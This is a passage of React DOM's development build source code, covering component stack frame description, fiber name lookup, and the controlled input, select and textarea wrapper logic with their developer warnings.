          c--;
        }

        for (; s >= 1 && c >= 0; s--, c--) {
          // Next we find the first one that isn't the same which should be the
          // frame that called our sample function and the control.
          if (sampleLines[s] !== controlLines[c]) {
            // In V8, the first line is describing the message but other VMs don't.
            // If we're about to return the first line, and the control is also on the same
            // line, that's a pretty good indicator that our sample threw at same line as
            // the control. I.e. before we entered the sample frame. So we ignore this result.
            // This can happen if you passed a class to function component, or non-function.
            if (s !== 1 || c !== 1) {
              do {
                s--;
                c--; // We may still have similar intermediate frames from the construct call.
                // The next one that isn't the same should be our match though.

                if (c < 0 || sampleLines[s] !== controlLines[c]) {
                  // V8 adds a "new" prefix for native classes. Let's remove it to make it prettier.
                  var _frame = '\n' + sampleLines[s].replace(' at new ', ' at '); // If our component frame is labeled "<anonymous>"
                  // but we have a user-provided "displayName"
                  // splice it in to make the stack more readable.


                  if (fn.displayName && _frame.includes('<anonymous>')) {
                    _frame = _frame.replace('<anonymous>', fn.displayName);
                  }

                  {
                    if (typeof fn === 'function') {
                      componentFrameCache.set(fn, _frame);
                    }
                  } // Return the line we found.


                  return _frame;
                }
              } while (s >= 1 && c >= 0);
            }

            break;
          }
        }
      }
    } finally {
      reentry = false;

      {
        ReactCurrentDispatcher.current = previousDispatcher;
        reenableLogs();
      }

      Error.prepareStackTrace = previousPrepareStackTrace;
    } // Fallback to just using the name if we couldn't make it throw.


    var name = fn ? fn.displayName || fn.name : '';
    var syntheticFrame = name ? describeBuiltInComponentFrame(name) : '';

    {
      if (typeof fn === 'function') {
        componentFrameCache.set(fn, syntheticFrame);
      }
    }

    return syntheticFrame;
  }

  function describeClassComponentFrame(ctor, source, ownerFn) {
    {
      return describeNativeComponentFrame(ctor, true);
    }
  }
  function describeFunctionComponentFrame(fn, source, ownerFn) {
    {
      return describeNativeComponentFrame(fn, false);
    }
  }

  function shouldConstruct(Component) {
    var prototype = Component.prototype;
    return !!(prototype && prototype.isReactComponent);
  }

  function describeUnknownElementTypeFrameInDEV(type, source, ownerFn) {

    if (type == null) {
      return '';
    }

    if (typeof type === 'function') {
      {
        return describeNativeComponentFrame(type, shouldConstruct(type));
      }
    }

    if (typeof type === 'string') {
      return describeBuiltInComponentFrame(type);
    }

    switch (type) {
      case REACT_SUSPENSE_TYPE:
        return describeBuiltInComponentFrame('Suspense');

      case REACT_SUSPENSE_LIST_TYPE:
        return describeBuiltInComponentFrame('SuspenseList');
    }

    if (typeof type === 'object') {
      switch (type.$$typeof) {
        case REACT_FORWARD_REF_TYPE:
          return describeFunctionComponentFrame(type.render);

        case REACT_MEMO_TYPE:
          // Memo may contain any component type so we recursively resolve it.
          return describeUnknownElementTypeFrameInDEV(type.type, source, ownerFn);

        case REACT_LAZY_TYPE:
          {
            var lazyComponent = type;
            var payload = lazyComponent._payload;
            var init = lazyComponent._init;

            try {
              // Lazy may contain any component type so we recursively resolve it.
              return describeUnknownElementTypeFrameInDEV(init(payload), source, ownerFn);
            } catch (x) {}
          }
      }
    }

    return '';
  }

  function describeFiber(fiber) {
    var owner =  fiber._debugOwner ? fiber._debugOwner.type : null ;
    var source =  fiber._debugSource ;

    switch (fiber.tag) {
      case HostComponent:
        return describeBuiltInComponentFrame(fiber.type);

      case LazyComponent:
        return describeBuiltInComponentFrame('Lazy');

      case SuspenseComponent:
        return describeBuiltInComponentFrame('Suspense');

      case SuspenseListComponent:
        return describeBuiltInComponentFrame('SuspenseList');

      case FunctionComponent:
      case IndeterminateComponent:
      case SimpleMemoComponent:
        return describeFunctionComponentFrame(fiber.type);

      case ForwardRef:
        return describeFunctionComponentFrame(fiber.type.render);

      case ClassComponent:
        return describeClassComponentFrame(fiber.type);

      default:
        return '';
    }
  }

  function getStackByFiberInDevAndProd(workInProgress) {
    try {
      var info = '';
      var node = workInProgress;

      do {
        info += describeFiber(node);
        node = node.return;
      } while (node);

      return info;
    } catch (x) {
      return '\nError generating stack: ' + x.message + '\n' + x.stack;
    }
  }

  function getWrappedName(outerType, innerType, wrapperName) {
    var displayName = outerType.displayName;

    if (displayName) {
      return displayName;
    }

    var functionName = innerType.displayName || innerType.name || '';
    return functionName !== '' ? wrapperName + "(" + functionName + ")" : wrapperName;
  } // Keep in sync with react-reconciler/getComponentNameFromFiber


  function getContextName(type) {
    return type.displayName || 'Context';
  } // Note that the reconciler package should generally prefer to use getComponentNameFromFiber() instead.


  function getComponentNameFromType(type) {
    if (type == null) {
      // Host root, text node or just invalid type.
      return null;
    }

    {
      if (typeof type.tag === 'number') {
        error('Received an unexpected object in getComponentNameFromType(). ' + 'This is likely a bug in React. Please file an issue.');
      }
    }

    if (typeof type === 'function') {
      return type.displayName || type.name || null;
    }

    if (typeof type === 'string') {
      return type;
    }

    switch (type) {
      case REACT_FRAGMENT_TYPE:
        return 'Fragment';

      case REACT_PORTAL_TYPE:
        return 'Portal';

      case REACT_PROFILER_TYPE:
        return 'Profiler';

      case REACT_STRICT_MODE_TYPE:
        return 'StrictMode';

      case REACT_SUSPENSE_TYPE:
        return 'Suspense';

      case REACT_SUSPENSE_LIST_TYPE:
        return 'SuspenseList';

    }

    if (typeof type === 'object') {
      switch (type.$$typeof) {
        case REACT_CONTEXT_TYPE:
          var context = type;
          return getContextName(context) + '.Consumer';

        case REACT_PROVIDER_TYPE:
          var provider = type;
          return getContextName(provider._context) + '.Provider';

        case REACT_FORWARD_REF_TYPE:
          return getWrappedName(type, type.render, 'ForwardRef');

        case REACT_MEMO_TYPE:
          var outerName = type.displayName || null;

          if (outerName !== null) {
            return outerName;
          }

          return getComponentNameFromType(type.type) || 'Memo';

        case REACT_LAZY_TYPE:
          {
            var lazyComponent = type;
            var payload = lazyComponent._payload;
            var init = lazyComponent._init;

            try {
              return getComponentNameFromType(init(payload));
            } catch (x) {
              return null;
            }
          }

        // eslint-disable-next-line no-fallthrough
      }
    }

    return null;
  }

  function getWrappedName$1(outerType, innerType, wrapperName) {
    var functionName = innerType.displayName || innerType.name || '';
    return outerType.displayName || (functionName !== '' ? wrapperName + "(" + functionName + ")" : wrapperName);
  } // Keep in sync with shared/getComponentNameFromType


  function getContextName$1(type) {
    return type.displayName || 'Context';
  }

  function getComponentNameFromFiber(fiber) {
    var tag = fiber.tag,
        type = fiber.type;

    switch (tag) {
      case CacheComponent:
        return 'Cache';

      case ContextConsumer:
        var context = type;
        return getContextName$1(context) + '.Consumer';

      case ContextProvider:
        var provider = type;
        return getContextName$1(provider._context) + '.Provider';

      case DehydratedFragment:
        return 'DehydratedFragment';

      case ForwardRef:
        return getWrappedName$1(type, type.render, 'ForwardRef');

      case Fragment:
        return 'Fragment';

      case HostComponent:
        // Host component type is the display name (e.g. "div", "View")
        return type;

      case HostPortal:
        return 'Portal';

      case HostRoot:
        return 'Root';

      case HostText:
        return 'Text';

      case LazyComponent:
        // Name comes from the type in this case; we don't have a tag.
        return getComponentNameFromType(type);

      case Mode:
        if (type === REACT_STRICT_MODE_TYPE) {
          // Don't be less specific than shared/getComponentNameFromType
          return 'StrictMode';
        }

        return 'Mode';

      case OffscreenComponent:
        return 'Offscreen';

      case Profiler:
        return 'Profiler';

      case ScopeComponent:
        return 'Scope';

      case SuspenseComponent:
        return 'Suspense';

      case SuspenseListComponent:
        return 'SuspenseList';

      case TracingMarkerComponent:
        return 'TracingMarker';
      // The display name for this tags come from the user-provided type:

      case ClassComponent:
      case FunctionComponent:
      case IncompleteClassComponent:
      case IndeterminateComponent:
      case MemoComponent:
      case SimpleMemoComponent:
        if (typeof type === 'function') {
          return type.displayName || type.name || null;
        }

        if (typeof type === 'string') {
          return type;
        }

        break;

    }

    return null;
  }

  var ReactDebugCurrentFrame = ReactSharedInternals.ReactDebugCurrentFrame;
  var current = null;
  var isRendering = false;
  function getCurrentFiberOwnerNameInDevOrNull() {
    {
      if (current === null) {
        return null;
      }

      var owner = current._debugOwner;

      if (owner !== null && typeof owner !== 'undefined') {
        return getComponentNameFromFiber(owner);
      }
    }

    return null;
  }

  function getCurrentFiberStackInDev() {
    {
      if (current === null) {
        return '';
      } // Safe because if current fiber exists, we are reconciling,
      // and it is guaranteed to be the work-in-progress version.


      return getStackByFiberInDevAndProd(current);
    }
  }

  function resetCurrentFiber() {
    {
      ReactDebugCurrentFrame.getCurrentStack = null;
      current = null;
      isRendering = false;
    }
  }
  function setCurrentFiber(fiber) {
    {
      ReactDebugCurrentFrame.getCurrentStack = fiber === null ? null : getCurrentFiberStackInDev;
      current = fiber;
      isRendering = false;
    }
  }
  function getCurrentFiber() {
    {
      return current;
    }
  }
  function setIsRendering(rendering) {
    {
      isRendering = rendering;
    }
  }

  // Flow does not allow string concatenation of most non-string types. To work
  // around this limitation, we use an opaque type that can only be obtained by
  // passing the value through getToStringValue first.
  function toString(value) {
    // The coercion safety check is performed in getToStringValue().
    // eslint-disable-next-line react-internal/safe-string-coercion
    return '' + value;
  }
  function getToStringValue(value) {
    switch (typeof value) {
      case 'boolean':
      case 'number':
      case 'string':
      case 'undefined':
        return value;

      case 'object':
        {
          checkFormFieldValueStringCoercion(value);
        }

        return value;

      default:
        // function, symbol are assigned as empty strings
        return '';
    }
  }

  var hasReadOnlyValue = {
    button: true,
    checkbox: true,
    image: true,
    hidden: true,
    radio: true,
    reset: true,
    submit: true
  };
  function checkControlledValueProps(tagName, props) {
    {
      if (!(hasReadOnlyValue[props.type] || props.onChange || props.onInput || props.readOnly || props.disabled || props.value == null)) {
        error('You provided a `value` prop to a form field without an ' + '`onChange` handler. This will render a read-only field. If ' + 'the field should be mutable use `defaultValue`. Otherwise, ' + 'set either `onChange` or `readOnly`.');
      }

      if (!(props.onChange || props.readOnly || props.disabled || props.checked == null)) {
        error('You provided a `checked` prop to a form field without an ' + '`onChange` handler. This will render a read-only field. If ' + 'the field should be mutable use `defaultChecked`. Otherwise, ' + 'set either `onChange` or `readOnly`.');
      }
    }
  }

  function isCheckable(elem) {
    var type = elem.type;
    var nodeName = elem.nodeName;
    return nodeName && nodeName.toLowerCase() === 'input' && (type === 'checkbox' || type === 'radio');
  }

  function getTracker(node) {
    return node._valueTracker;
  }

  function detachTracker(node) {
    node._valueTracker = null;
  }

  function getValueFromNode(node) {
    var value = '';

    if (!node) {
      return value;
    }

    if (isCheckable(node)) {
      value = node.checked ? 'true' : 'false';
    } else {
      value = node.value;
    }

    return value;
  }

  function trackValueOnNode(node) {
    var valueField = isCheckable(node) ? 'checked' : 'value';
    var descriptor = Object.getOwnPropertyDescriptor(node.constructor.prototype, valueField);

    {
      checkFormFieldValueStringCoercion(node[valueField]);
    }

    var currentValue = '' + node[valueField]; // if someone has already defined a value or Safari, then bail
    // and don't track value will cause over reporting of changes,
    // but it's better then a hard failure
    // (needed for certain tests that spyOn input values and Safari)

    if (node.hasOwnProperty(valueField) || typeof descriptor === 'undefined' || typeof descriptor.get !== 'function' || typeof descriptor.set !== 'function') {
      return;
    }

    var get = descriptor.get,
        set = descriptor.set;
    Object.defineProperty(node, valueField, {
      configurable: true,
      get: function () {
        return get.call(this);
      },
      set: function (value) {
        {
          checkFormFieldValueStringCoercion(value);
        }

        currentValue = '' + value;
        set.call(this, value);
      }
    }); // We could've passed this the first time
    // but it triggers a bug in IE11 and Edge 14/15.
    // Calling defineProperty() again should be equivalent.
    // https://github.com/facebook/react/issues/11768

    Object.defineProperty(node, valueField, {
      enumerable: descriptor.enumerable
    });
    var tracker = {
      getValue: function () {
        return currentValue;
      },
      setValue: function (value) {
        {
          checkFormFieldValueStringCoercion(value);
        }

        currentValue = '' + value;
      },
      stopTracking: function () {
        detachTracker(node);
        delete node[valueField];
      }
    };
    return tracker;
  }

  function track(node) {
    if (getTracker(node)) {
      return;
    } // TODO: Once it's just Fiber we can move this to node._wrapperState


    node._valueTracker = trackValueOnNode(node);
  }
  function updateValueIfChanged(node) {
    if (!node) {
      return false;
    }

    var tracker = getTracker(node); // if there is no tracker at this point it's unlikely
    // that trying again will succeed

    if (!tracker) {
      return true;
    }

    var lastValue = tracker.getValue();
    var nextValue = getValueFromNode(node);

    if (nextValue !== lastValue) {
      tracker.setValue(nextValue);
      return true;
    }

    return false;
  }

  function getActiveElement(doc) {
    doc = doc || (typeof document !== 'undefined' ? document : undefined);

    if (typeof doc === 'undefined') {
      return null;
    }

    try {
      return doc.activeElement || doc.body;
    } catch (e) {
      return doc.body;
    }
  }

  var didWarnValueDefaultValue = false;
  var didWarnCheckedDefaultChecked = false;
  var didWarnControlledToUncontrolled = false;
  var didWarnUncontrolledToControlled = false;

  function isControlled(props) {
    var usesChecked = props.type === 'checkbox' || props.type === 'radio';
    return usesChecked ? props.checked != null : props.value != null;
  }
  /**
   * Implements an <input> host component that allows setting these optional
   * props: `checked`, `value`, `defaultChecked`, and `defaultValue`.
   *
   * If `checked` or `value` are not supplied (or null/undefined), user actions
   * that affect the checked state or value will trigger updates to the element.
   *
   * If they are supplied (and not null/undefined), the rendered element will not
   * trigger updates to the element. Instead, the props must change in order for
   * the rendered element to be updated.
   *
   * The rendered element will be initialized as unchecked (or `defaultChecked`)
   * with an empty value (or `defaultValue`).
   *
   * See http://www.w3.org/TR/2012/WD-html5-20121025/the-input-element.html
   */


  function getHostProps(element, props) {
    var node = element;
    var checked = props.checked;
    var hostProps = assign({}, props, {
      defaultChecked: undefined,
      defaultValue: undefined,
      value: undefined,
      checked: checked != null ? checked : node._wrapperState.initialChecked
    });
    return hostProps;
  }
  function initWrapperState(element, props) {
    {
      checkControlledValueProps('input', props);

      if (props.checked !== undefined && props.defaultChecked !== undefined && !didWarnCheckedDefaultChecked) {
        error('%s contains an input of type %s with both checked and defaultChecked props. ' + 'Input elements must be either controlled or uncontrolled ' + '(specify either the checked prop, or the defaultChecked prop, but not ' + 'both). Decide between using a controlled or uncontrolled input ' + 'element and remove one of these props. More info: ' + 'https://reactjs.org/link/controlled-components', getCurrentFiberOwnerNameInDevOrNull() || 'A component', props.type);

        didWarnCheckedDefaultChecked = true;
      }

      if (props.value !== undefined && props.defaultValue !== undefined && !didWarnValueDefaultValue) {
        error('%s contains an input of type %s with both value and defaultValue props. ' + 'Input elements must be either controlled or uncontrolled ' + '(specify either the value prop, or the defaultValue prop, but not ' + 'both). Decide between using a controlled or uncontrolled input ' + 'element and remove one of these props. More info: ' + 'https://reactjs.org/link/controlled-components', getCurrentFiberOwnerNameInDevOrNull() || 'A component', props.type);

        didWarnValueDefaultValue = true;
      }
    }

    var node = element;
    var defaultValue = props.defaultValue == null ? '' : props.defaultValue;
    node._wrapperState = {
      initialChecked: props.checked != null ? props.checked : props.defaultChecked,
      initialValue: getToStringValue(props.value != null ? props.value : defaultValue),
      controlled: isControlled(props)
    };
  }
  function updateChecked(element, props) {
    var node = element;
    var checked = props.checked;

    if (checked != null) {
      setValueForProperty(node, 'checked', checked, false);
    }
  }
  function updateWrapper(element, props) {
    var node = element;

    {
      var controlled = isControlled(props);

      if (!node._wrapperState.controlled && controlled && !didWarnUncontrolledToControlled) {
        error('A component is changing an uncontrolled input to be controlled. ' + 'This is likely caused by the value changing from undefined to ' + 'a defined value, which should not happen. ' + 'Decide between using a controlled or uncontrolled input ' + 'element for the lifetime of the component. More info: https://reactjs.org/link/controlled-components');

        didWarnUncontrolledToControlled = true;
      }

      if (node._wrapperState.controlled && !controlled && !didWarnControlledToUncontrolled) {
        error('A component is changing a controlled input to be uncontrolled. ' + 'This is likely caused by the value changing from a defined to ' + 'undefined, which should not happen. ' + 'Decide between using a controlled or uncontrolled input ' + 'element for the lifetime of the component. More info: https://reactjs.org/link/controlled-components');

        didWarnControlledToUncontrolled = true;
      }
    }

    updateChecked(element, props);
    var value = getToStringValue(props.value);
    var type = props.type;

    if (value != null) {
      if (type === 'number') {
        if (value === 0 && node.value === '' || // We explicitly want to coerce to number here if possible.
        // eslint-disable-next-line
        node.value != value) {
          node.value = toString(value);
        }
      } else if (node.value !== toString(value)) {
        node.value = toString(value);
      }
    } else if (type === 'submit' || type === 'reset') {
      // Submit/reset inputs need the attribute removed completely to avoid
      // blank-text buttons.
      node.removeAttribute('value');
      return;
    }

    {
      // When syncing the value attribute, the value comes from a cascade of
      // properties:
      //  1. The value React property
      //  2. The defaultValue React property
      //  3. Otherwise there should be no change
      if (props.hasOwnProperty('value')) {
        setDefaultValue(node, props.type, value);
      } else if (props.hasOwnProperty('defaultValue')) {
        setDefaultValue(node, props.type, getToStringValue(props.defaultValue));
      }
    }

    {
      // When syncing the checked attribute, it only changes when it needs
      // to be removed, such as transitioning from a checkbox into a text input
      if (props.checked == null && props.defaultChecked != null) {
        node.defaultChecked = !!props.defaultChecked;
      }
    }
  }
  function postMountWrapper(element, props, isHydrating) {
    var node = element; // Do not assign value if it is already set. This prevents user text input
    // from being lost during SSR hydration.

    if (props.hasOwnProperty('value') || props.hasOwnProperty('defaultValue')) {
      var type = props.type;
      var isButton = type === 'submit' || type === 'reset'; // Avoid setting value attribute on submit/reset inputs as it overrides the
      // default value provided by the browser. See: #12872

      if (isButton && (props.value === undefined || props.value === null)) {
        return;
      }

      var initialValue = toString(node._wrapperState.initialValue); // Do not assign value if it is already set. This prevents user text input
      // from being lost during SSR hydration.

      if (!isHydrating) {
        {
          // When syncing the value attribute, the value property should use
          // the wrapperState._initialValue property. This uses:
          //
          //   1. The value React property when present
          //   2. The defaultValue React property when present
          //   3. An empty string
          if (initialValue !== node.value) {
            node.value = initialValue;
          }
        }
      }

      {
        // Otherwise, the value attribute is synchronized to the property,
        // so we assign defaultValue to the same thing as the value property
        // assignment step above.
        node.defaultValue = initialValue;
      }
    } // Normally, we'd just do `node.checked = node.checked` upon initial mount, less this bug
    // this is needed to work around a chrome bug where setting defaultChecked
    // will sometimes influence the value of checked (even after detachment).
    // Reference: https://bugs.chromium.org/p/chromium/issues/detail?id=608416
    // We need to temporarily unset name to avoid disrupting radio button groups.


    var name = node.name;

    if (name !== '') {
      node.name = '';
    }

    {
      // When syncing the checked attribute, both the checked property and
      // attribute are assigned at the same time using defaultChecked. This uses:
      //
      //   1. The checked React property when present
      //   2. The defaultChecked React property when present
      //   3. Otherwise, false
      node.defaultChecked = !node.defaultChecked;
      node.defaultChecked = !!node._wrapperState.initialChecked;
    }

    if (name !== '') {
      node.name = name;
    }
  }
  function restoreControlledState(element, props) {
    var node = element;
    updateWrapper(node, props);
    updateNamedCousins(node, props);
  }

  function updateNamedCousins(rootNode, props) {
    var name = props.name;

    if (props.type === 'radio' && name != null) {
      var queryRoot = rootNode;

      while (queryRoot.parentNode) {
        queryRoot = queryRoot.parentNode;
      } // If `rootNode.form` was non-null, then we could try `form.elements`,
      // but that sometimes behaves strangely in IE8. We could also try using
      // `form.getElementsByName`, but that will only return direct children
      // and won't include inputs that use the HTML5 `form=` attribute. Since
      // the input might not even be in a form. It might not even be in the
      // document. Let's just use the local `querySelectorAll` to ensure we don't
      // miss anything.


      {
        checkAttributeStringCoercion(name, 'name');
      }

      var group = queryRoot.querySelectorAll('input[name=' + JSON.stringify('' + name) + '][type="radio"]');

      for (var i = 0; i < group.length; i++) {
        var otherNode = group[i];

        if (otherNode === rootNode || otherNode.form !== rootNode.form) {
          continue;
        } // This will throw if radio buttons rendered by different copies of React
        // and the same name are rendered into the same form (same as #1939).
        // That's probably okay; we don't support it just as we don't support
        // mixing React radio buttons with non-React ones.


        var otherProps = getFiberCurrentPropsFromNode(otherNode);

        if (!otherProps) {
          throw new Error('ReactDOMInput: Mixing React and non-React radio inputs with the ' + 'same `name` is not supported.');
        } // We need update the tracked value on the named cousin since the value
        // was changed but the input saw no event or value set


        updateValueIfChanged(otherNode); // If this is a controlled radio button group, forcing the input that
        // was previously checked to update will cause it to be come re-checked
        // as appropriate.

        updateWrapper(otherNode, otherProps);
      }
    }
  } // In Chrome, assigning defaultValue to certain input types triggers input validation.
  // For number inputs, the display value loses trailing decimal points. For email inputs,
  // Chrome raises "The specified value <x> is not a valid email address".
  //
  // Here we check to see if the defaultValue has actually changed, avoiding these problems
  // when the user is inputting text
  //
  // https://github.com/facebook/react/issues/7253


  function setDefaultValue(node, type, value) {
    if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js
    type !== 'number' || getActiveElement(node.ownerDocument) !== node) {
      if (value == null) {
        node.defaultValue = toString(node._wrapperState.initialValue);
      } else if (node.defaultValue !== toString(value)) {
        node.defaultValue = toString(value);
      }
    }
  }

  var didWarnSelectedSetOnOption = false;
  var didWarnInvalidChild = false;
  var didWarnInvalidInnerHTML = false;
  /**
   * Implements an <option> host component that warns when `selected` is set.
   */

  function validateProps(element, props) {
    {
      // If a value is not provided, then the children must be simple.
      if (props.value == null) {
        if (typeof props.children === 'object' && props.children !== null) {
          React.Children.forEach(props.children, function (child) {
            if (child == null) {
              return;
            }

            if (typeof child === 'string' || typeof child === 'number') {
              return;
            }

            if (!didWarnInvalidChild) {
              didWarnInvalidChild = true;

              error('Cannot infer the option value of complex children. ' + 'Pass a `value` prop or use a plain string as children to <option>.');
            }
          });
        } else if (props.dangerouslySetInnerHTML != null) {
          if (!didWarnInvalidInnerHTML) {
            didWarnInvalidInnerHTML = true;

            error('Pass a `value` prop if you set dangerouslyInnerHTML so React knows ' + 'which value should be selected.');
          }
        }
      } // TODO: Remove support for `selected` in <option>.


      if (props.selected != null && !didWarnSelectedSetOnOption) {
        error('Use the `defaultValue` or `value` props on <select> instead of ' + 'setting `selected` on <option>.');

        didWarnSelectedSetOnOption = true;
      }
    }
  }
  function postMountWrapper$1(element, props) {
    // value="" should make a value attribute (#6219)
    if (props.value != null) {
      element.setAttribute('value', toString(getToStringValue(props.value)));
    }
  }

  var isArrayImpl = Array.isArray; // eslint-disable-next-line no-redeclare

  function isArray(a) {
    return isArrayImpl(a);
  }

  var didWarnValueDefaultValue$1;

  {
    didWarnValueDefaultValue$1 = false;
  }

  function getDeclarationErrorAddendum() {
    var ownerName = getCurrentFiberOwnerNameInDevOrNull();

    if (ownerName) {
      return '\n\nCheck the render method of `' + ownerName + '`.';
    }

    return '';
  }

  var valuePropNames = ['value', 'defaultValue'];
  /**
   * Validation function for `value` and `defaultValue`.
   */

  function checkSelectPropTypes(props) {
    {
      checkControlledValueProps('select', props);

      for (var i = 0; i < valuePropNames.length; i++) {
        var propName = valuePropNames[i];

        if (props[propName] == null) {
          continue;
        }

        var propNameIsArray = isArray(props[propName]);

        if (props.multiple && !propNameIsArray) {
          error('The `%s` prop supplied to <select> must be an array if ' + '`multiple` is true.%s', propName, getDeclarationErrorAddendum());
        } else if (!props.multiple && propNameIsArray) {
          error('The `%s` prop supplied to <select> must be a scalar ' + 'value if `multiple` is false.%s', propName, getDeclarationErrorAddendum());
        }
      }
    }
  }

  function updateOptions(node, multiple, propValue, setDefaultSelected) {
    var options = node.options;

    if (multiple) {
      var selectedValues = propValue;
      var selectedValue = {};

      for (var i = 0; i < selectedValues.length; i++) {
        // Prefix to avoid chaos with special keys.
        selectedValue['$' + selectedValues[i]] = true;
      }

      for (var _i = 0; _i < options.length; _i++) {
        var selected = selectedValue.hasOwnProperty('$' + options[_i].value);

        if (options[_i].selected !== selected) {
          options[_i].selected = selected;
        }

        if (selected && setDefaultSelected) {
          options[_i].defaultSelected = true;
        }
      }
    } else {
      // Do not set `select.value` as exact behavior isn't consistent across all
      // browsers for all cases.
      var _selectedValue = toString(getToStringValue(propValue));

      var defaultSelected = null;

      for (var _i2 = 0; _i2 < options.length; _i2++) {
        if (options[_i2].value === _selectedValue) {
          options[_i2].selected = true;

          if (setDefaultSelected) {
            options[_i2].defaultSelected = true;
          }

          return;
        }

        if (defaultSelected === null && !options[_i2].disabled) {
          defaultSelected = options[_i2];
        }
      }

      if (defaultSelected !== null) {
        defaultSelected.selected = true;
      }
    }
  }
  /**
   * Implements a <select> host component that allows optionally setting the
   * props `value` and `defaultValue`. If `multiple` is false, the prop must be a
   * stringable. If `multiple` is true, the prop must be an array of stringables.
   *
   * If `value` is not supplied (or null/undefined), user actions that change the
   * selected option will trigger updates to the rendered options.
   *
   * If it is supplied (and not null/undefined), the rendered options will not
   * update in response to user actions. Instead, the `value` prop must change in
   * order for the rendered options to update.
   *
   * If `defaultValue` is provided, any options with the supplied values will be
   * selected.
   */


  function getHostProps$1(element, props) {
    return assign({}, props, {
      value: undefined
    });
  }
  function initWrapperState$1(element, props) {
    var node = element;

    {
      checkSelectPropTypes(props);
    }

    node._wrapperState = {
      wasMultiple: !!props.multiple
    };

    {
      if (props.value !== undefined && props.defaultValue !== undefined && !didWarnValueDefaultValue$1) {
        error('Select elements must be either controlled or uncontrolled ' + '(specify either the value prop, or the defaultValue prop, but not ' + 'both). Decide between using a controlled or uncontrolled select ' + 'element and remove one of these props. More info: ' + 'https://reactjs.org/link/controlled-components');

        didWarnValueDefaultValue$1 = true;
      }
    }
  }
  function postMountWrapper$2(element, props) {
    var node = element;
    node.multiple = !!props.multiple;
    var value = props.value;

    if (value != null) {
      updateOptions(node, !!props.multiple, value, false);
    } else if (props.defaultValue != null) {
      updateOptions(node, !!props.multiple, props.defaultValue, true);
    }
  }
  function postUpdateWrapper(element, props) {
    var node = element;
    var wasMultiple = node._wrapperState.wasMultiple;
    node._wrapperState.wasMultiple = !!props.multiple;
    var value = props.value;

    if (value != null) {
      updateOptions(node, !!props.multiple, value, false);
    } else if (wasMultiple !== !!props.multiple) {
      // For simplicity, reapply `defaultValue` if `multiple` is toggled.
      if (props.defaultValue != null) {
        updateOptions(node, !!props.multiple, props.defaultValue, true);
      } else {
        // Revert the select back to its default unselected state.
        updateOptions(node, !!props.multiple, props.multiple ? [] : '', false);
      }
    }
  }
  function restoreControlledState$1(element, props) {
    var node = element;
    var value = props.value;

    if (value != null) {
      updateOptions(node, !!props.multiple, value, false);
    }
  }

  var didWarnValDefaultVal = false;

  /**
   * Implements a <textarea> host component that allows setting `value`, and
   * `defaultValue`. This differs from the traditional DOM API because value is
   * usually set as PCDATA children.
   *
   * If `value` is not supplied (or null/undefined), user actions that affect the
   * value will trigger updates to the element.
   *
   * If `value` is supplied (and not null/undefined), the rendered element will
   * not trigger updates to the element. Instead, the `value` prop must change in
   * order for the rendered element to be updated.
   *
   * The rendered element will be initialized with an empty value, the prop
   * `defaultValue` if specified, or the children content (deprecated).
   */
  function getHostProps$2(element, props) {
    var node = element;

    if (props.dangerouslySetInnerHTML != null) {
      throw new Error('`dangerouslySetInnerHTML` does not make sense on <textarea>.');
    } // Always set children to the same thing. In IE9, the selection range will
    // get reset if `textContent` is mutated.  We could add a check in setTextContent
    // to only set the value if/when the value differs from the node value (which would
    // completely solve this IE9 bug), but Sebastian+Sophie seemed to like this
    // solution. The value can be a boolean or object so that's why it's forced
    // to be a string.


    var hostProps = assign({}, props, {
      value: undefined,
      defaultValue: undefined,
      children: toString(node._wrapperState.initialValue)
    });

    return hostProps;
  }
  function initWrapperState$2(element, props) {
    var node = element;

    {
      checkControlledValueProps('textarea', props);

      if (props.value !== undefined && props.defaultValue !== undefined && !didWarnValDefaultVal) {
        error('%s contains a textarea with both value and defaultValue props. ' + 'Textarea elements must be either controlled or uncontrolled ' + '(specify either the value prop, or the defaultValue prop, but not ' + 'both). Decide between using a controlled or uncontrolled textarea ' + 'and remove one of these props. More info: ' + 'https://reactjs.org/link/controlled-components', getCurrentFiberOwnerNameInDevOrNull() || 'A component');

        didWarnValDefaultVal = true;
      }
    }

    var initialValue = props.value; // Only bother fetching default value if we're going to use it

    if (initialValue == null) {
      var children = props.children,
          defaultValue = props.defaultValue;

      if (children != null) {
        {
          error('Use the `defaultValue` or `value` props instead of setting ' + 'children on <textarea>.');
        }

        {
          if (defaultValue != null) {
            throw new Error('If you supply `defaultValue` on a <textarea>, do not pass children.');
          }

          if (isArray(children)) {
            if (children.length > 1) {
              throw new Error('<textarea> can only have at most one child.');
            }

            children = children[0];
          }

          defaultValue = children;
        }
      }

      if (defaultValue == null) {
        defaultValue = '';
      }

      initialValue = defaultValue;
    }

    node._wrapperState = {
      initialValue: getToStringValue(initialValue)
    };
  }
  function updateWrapper$1(element, props) {
    var node = element;
    var value = getToStringValue(props.value);
    var defaultValue = getToStringValue(props.defaultValue);

    if (value != null) {
      // Cast `value` to a string to ensure the value is set correctly. While
      // browsers typically do this as necessary, jsdom doesn't.
      var newValue = toString(value); // To avoid side effects (such as losing text selection), only set value if changed

      if (newValue !== node.value) {
        node.value = newValue;
      }

      if (props.defaultValue == null && node.defaultValue !== newValue) {
        node.defaultValue = newValue;
      }
    }

    if (defaultValue != null) {
      node.defaultValue = toString(defaultValue);
    }
  }
  function postMountWrapper$3(element, props) {
    var node = element; // This is in postMount because we need access to the DOM node, which is not
    // available until after the component has mounted.

    var textContent = node.textContent; // Only set node.value if textContent is equal to the expected
    // initial value. In IE10/IE11 there is a bug where the placeholder attribute
    // will populate textContent as well.
    // https://developer.microsoft.com/microsoft-edge/platform/issues/101525/

    if (textContent === node._wrapperState.initialValue) {
      if (textContent !== '' && textContent !== null) {
        node.value = textContent;
      }
    }
  }
  function restoreControlledState$2(element, props) {
    // DOM component is still mounted; update
    updateWrapper$1(element, props);
  }

  var HTML_NAMESPACE = 'http://www.w3.org/1999/xhtml';
  var MATH_NAMESPACE = 'http://www.w3.org/1998/Math/MathML';
  var SVG_NAMESPACE = 'http://www.w3.org/2000/svg'; // Assumes there is no parent namespace.

  function getIntrinsicNamespace(type) {
    switch (type) {
      case 'svg':
        return SVG_NAMESPACE;

      case 'math':
        return MATH_NAMESPACE;

      default:
        return HTML_NAMESPACE;
    }
  }
  function getChildNamespace(parentNamespace, type) {
    if (parentNamespace == null || parentNamespace === HTML_NAMESPACE) {
      // No (or default) parent namespace: potential entry point.
      return getIntrinsicNamespace(type);
    }

    if (parentNamespace === SVG_NAMESPACE && type === 'foreignObject') {
      // We're leaving SVG.
      return HTML_NAMESPACE;
    } // By default, pass namespace below.


    return parentNamespace;
